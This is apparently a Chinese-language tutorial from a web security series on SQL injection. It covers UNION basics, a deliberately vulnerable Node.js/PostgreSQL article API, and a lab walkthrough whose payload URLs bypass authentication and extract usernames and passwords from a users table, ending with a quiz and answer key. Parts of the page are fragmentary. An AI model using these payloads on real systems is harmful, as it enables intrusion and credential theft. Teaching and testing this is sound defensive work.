昨天最後介紹了三大點攻擊的方向,今天更詳細的拆解內容。
'
單引號,確認是否出現 500 狀態碼' or '1'='1' -- -
確認是否可以繞過示範來源
SELECT * FROM Customers;
SELECT
選擇*
所有欄位FORM
來自Customers
資料表的名稱Customers
資料表
七個
欄位
SELECT * FROM Suppliers;
SELECT
選擇*
所有欄位FORM
來自Suppliers
資料表的名稱Suppliers
資料表
八個
欄位
錯誤示範1
SELECT * FROM Customers
UNION
SELECT * FROM Suppliers;
A: 因為 UNION 需要 "欄位數量" 相同
錯誤示範2
思考為什麼已經數量相同且可以印出資料但為什麼錯誤示範?
SELECT CustomerID FROM Customers
UNION
SELECT Address FROM Suppliers;
資料類型
不同針對 UNION SELECT
docker-compose down -v
docker-compose up --build
-- 建立文章資料表(如果不存在)
CREATE TABLE IF NOT EXISTS articles (
id SERIAL PRIMARY KEY,
title VARCHAR(255) NOT NULL,
content TEXT,
author_id INTEGER REFERENCES users(id),
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
-- 建立 INDEX 以提高查詢效能
CREATE INDEX IF NOT EXISTS idx_articles_author ON articles(author_id);
-- 插入測試資料
INSERT INTO articles (title, content, author_id)
VALUES
('第一篇文章', '這是第一篇文章的內容。', 1),
('關於 SQL 注入的防範', 'SQL 注入是一種常見的網路攻擊方式,本文將討論如何有效防範。', 1)
ON CONFLICT DO NOTHING;
-- 建立更新 updated_at 的觸發器
CREATE OR REPLACE FUNCTION update_modified_column()
RETURNS TRIGGER AS $$
BEGIN
NEW.updated_at = now();
RETURN NEW;
END;
$$ language 'plpgsql';
CREATE TRIGGER update_article_modtime
BEFORE UPDATE ON articles
FOR EACH ROW
EXECUTE FUNCTION update_modified_column();
說明:
articles
資料表,包含文章基本資訊updated_at
欄位const db = require('../db/postgres');
const articlesHandler = {
// 取得所有文章
async getAllArticles(req, res) {
// ... 實作內容 ...
},
// 取得單一文章
async getArticle(req, res) {
// ... 實作內容 ...
},
// 新增文章
async createArticle(req, res) {
// ... 實作內容 ...
},
// 更新文章
async updateArticle(req, res) {
// ... 實作內容 ...
},
// 刪除文章
async deleteArticle(req, res) {
// ... 實作內容 ...
}
};
module.exports = articlesHandler;
說明:
getArticle
函數中,故意使用不安全的查詢方式,用於展示 SQL 注入風險const express = require('express');
const router = express.Router();
const articleController = require('../controllers/articleController');
router.get('/', articleController.getAllArticles);
router.get('/:id', articleController.getArticle);
router.post('/', articleController.createArticle);
router.put('/:id', articleController.updateArticle);
router.delete('/:id', articleController.deleteArticle);
module.exports = router;
說明:
const articlesRouter = require('./routes/articlesRouter');
// ... 其他程式碼 ...
app.use('/api/articles', articlesRouter);
說明:
/api/articles
路徑下URL: http://nodelab.feifei.tw/api/articles/'
目的: 透過插入單引號來測試應用程式對特殊字符的處理。
結果: 回傳了詳細的錯誤訊息,暴露了潛在的漏洞。
圖片證據:
防禦建議:
觀察到的錯誤訊息提供了資料庫結構的線索。
圖片證據:
防禦建議:
理解: UNION SELECT 查詢要求兩個 SELECT 語句回傳相同數量的列。
URL: http://nodelab.feifei.tw/api/articles/0 union select null,null,null,null,null,null-- -
目的: 確定原始查詢回傳的列數。
圖片證據:
結果: 有六個欄位
防禦建議:
URL: http://nodelab.feifei.tw/api/articles/0 union select null,table_name,null,null,null,null FROM information_schema.tables-- -
目的: 從 information_schema 中取得資料庫表名。
圖片證據:
URL: http://nodelab.feifei.tw/api/articles/0 union select null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables-- -
目的: 使用 string_agg 函數組合所有表名。
圖片證據:
URL: http://nodelab.feifei.tw/api/articles/0 union select null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users' -- -
目的: 取得 'users' 表的列名。
圖片證據:
結果: "title": "id,created_at,username,email,password"
URL: http://nodelab.feifei.tw/api/articles/0 union select null,string_agg(username,','),string_agg(password,','),null,null,null FROM users-- -
目的: 從 users 表中取得使用者名稱和密碼。
圖片證據:
防禦建議:
本文深入探討了SQL注入攻擊的三種主要形式:基本認證繞過、聯合查詢攻擊和基於時間的注入。我們詳細分析了每種攻擊的原理、攻擊者的動機,以及具體的攻擊步驟。同時,我們也提供了相應的防禦策略和修復方法。
關鍵點包括:
在SQL注入攻擊中,為什麼使用 ' or '1'='1
能夠繞過認證?
A) 它會刪除資料庫中的所有資料
B) 它會建立一個新的管理員帳戶
C) 它會使WHERE子句永遠為真
D) 它會關閉資料庫連接
答案:C
解析:' or '1'='1
會使WHERE子句永遠為真,因為 '1'='1' 永遠成立,這樣就能繞過原本的認證邏輯。
UNION SELECT攻擊中,下列哪項陳述是正確的?
A) 兩個SELECT語句的列數可以不同
B) 兩個SELECT語句的資料類型必須完全相同
C) UNION SELECT只能用於合併兩個表的資料
D) UNION SELECT可以用來檢索未經授權的資料
答案:D
解析:UNION SELECT攻擊可以用來檢索未經授權的資料。雖然列數必須相同,但資料類型不必完全相同(儘管建議相同以避免錯誤)。
以下哪種方法不能有效防止SQL注入攻擊?
A) 使用參數化查詢
B) 對使用者輸入進行轉義
C) 使用儲存過程
D) 在錯誤訊息中顯示詳細的SQL錯誤
答案:D
解析:顯示詳細的SQL錯誤訊息可能會洩露資料庫結構,幫助攻擊者進行更精確的攻擊。其他選項都是有效的防禦方法。
在進行SQL注入測試時,輸入單引號(')的目的是什麼?
A) 結束目前的SQL字符串
B) 開始一個新的SQL查詢
C) 刪除資料庫中的資料
D) 繞過密碼驗證
答案:A
解析:輸入單引號的目的是嘗試結束目前的SQL字符串,這可能導致語法錯誤或改變查詢的結構,從而暴露潛在的SQL注入漏洞。
使用ORM框架如何幫助預防SQL注入攻擊?
A) ORM自動加密所有資料庫查詢
B) ORM通常使用參數化查詢
C) ORM完全阻止直接訪問資料庫
D) ORM自動修復所有SQL注入漏洞
答案:B
解析:ORM框架通常使用參數化查詢,這是預防SQL注入的有效方法。然而,ORM並不會自動加密查詢或完全阻止直接訪問資料庫,也不能自動修復所有SQL注入漏洞。
'
進行初步探測。' or '1'='1
嘗試繞過認證。